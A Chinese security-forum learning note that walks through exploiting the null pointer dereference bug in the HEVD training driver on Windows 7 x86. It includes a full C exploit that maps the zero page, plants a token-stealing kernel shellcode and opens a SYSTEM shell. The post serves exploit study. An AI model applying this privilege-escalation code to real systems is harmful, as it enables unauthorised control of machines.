[原创]初探内核漏洞：HEVD学习笔记——NullPointerDereference-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com

[原创]初探内核漏洞：HEVD学习笔记——NullPointerDereference

发表于: 2022-7-19 21:44 9626

[原创]初探内核漏洞：HEVD学习笔记——NullPointerDereference

Ada123

2022-7-19 21:44

9626

环境
靶机：win7 x86 sp1
工具：VirualKD、IDA

空指针Null Pointer指向0地址空间，如果不加判断就对其进行引用，会造成不可预知的后果。我们可以在0地址写入shellcode，通过调用空指针执行。

图片描述
从函数TriggerNullPointerDereference的反汇编中可以看到，释放PoolWithTag之后依然对PoolWithTag[1]进行调用，此时其实是对0x00000004地址进行调用：

那么利用方法就是，在0x00000004地址处写入我们的shellcode的地址，然后通过IO控制码0x22202b与HEVD驱动通信，随便传入不为0的用户缓冲区即可。

用到之前在池溢出中申请0页地址的方法。
完整利用代码：

运行客户端程序，提权成功：
图片描述

参考文章
windows内核之Null指针解引用(四)

#include<stdio.h>
#include<Windows.h>
 
// 1.设置符号链接名称
#define DEVICE_LINK_NAME L"\\\\.\\HackSysExtremeVulnerableDriver"
 
// 2.控制码定义（与0环一样）
#define HEVD_NULL_POINTER_DEREFERENCE 0x22202B
 
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
 
typedef NTSTATUS

(WINAPI* My_NtAllocateVirtualMemory)(

    IN HANDLE ProcessHandle,

    IN OUT PVOID* BaseAddress,

    IN ULONG ZeroBits,

    IN OUT PULONG RegionSize,

    IN ULONG AllocationType,

    IN ULONG Protect

    );

My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
 
static VOID shellcode() {

    // No Need of Kernel Recovery as we are not corrupting anything

    __asm {

        //int 3

        pop edi; //这里注意堆栈平衡

        pop esi; //这里注意堆栈平衡

        pop ebx; //这里注意堆栈平衡

        pushad; Save registers state
 
        ; Start of Token Stealing Stub

        xor eax, eax; Set ZERO

        mov eax, fs: [eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread

        ; _KTHREAD is located at FS : [0x124]
 
        mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
 
        mov ecx, eax; Copy current process _EPROCESS structure
 
        mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4
 
        SearchSystemPID:

        mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink

            sub eax, FLINK_OFFSET

            cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId

            jne SearchSystemPID
 
            mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token

            mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token

            ; with SYSTEM process nt!_EPROCESS.Token

            ; End of Token Stealing Stub
 
            popad; Restore registers state

            ret

    }
}
 
VOID EXP_NullPointerDereference() {

    // 3.CreateFile打开符号链接得到设备句柄

    HANDLE hDevice = NULL;

    hDevice = CreateFile(DEVICE_LINK_NAME,

        GENERIC_READ | GENERIC_WRITE,

        FILE_SHARE_READ | FILE_SHARE_WRITE,

        NULL,

        OPEN_EXISTING,

        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,

        NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {

        printf("[-] Error - Unable to obtain a handle to the driver, error code %d\n", GetLastError());

        exit(1);

    }

    // 4.DeviceIoControl给0环发请求并接收返回结果

    DWORD dwRet = 0;

    char exp_NullPointerDereference[4] = { 0 };

    memset(exp_NullPointerDereference, 'A', sizeof(exp_NullPointerDereference));
 
    // 4.2 申请0页内存空间

    PVOID Zero_addr = (PVOID)1;

    SIZE_T RegionSize = 0x1000;
 
    *(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(

        GetModuleHandleW(L"ntdll"),

        "NtAllocateVirtualMemory");
 
    if (NtAllocateVirtualMemory == NULL)

    {

        system("pause");

    }
 
    //通过NtAllocateVirtualMemory来申请0页内存空间

    if (!NT_SUCCESS(NtAllocateVirtualMemory(

        INVALID_HANDLE_VALUE,

        &Zero_addr,

        0,

        &RegionSize,

        MEM_COMMIT | MEM_RESERVE,

        PAGE_READWRITE)) || Zero_addr != NULL)

    {

        system("pause");

    }
 
    // 4.3 利用点处shellcode地址覆盖

    //将0页+0x4偏移成员CloseProcedure设置为我们shellcode地址

    *(DWORD*)(0x4) = (DWORD)&shellcode;

    DeviceIoControl(hDevice, HEVD_NULL_POINTER_DEREFERENCE, exp_NullPointerDereference, \

        4, NULL, 0, &dwRet, NULL);
 
    system("cmd.exe");
 
}
 
int main() {

    EXP_NullPointerDereference();

    return 0;
}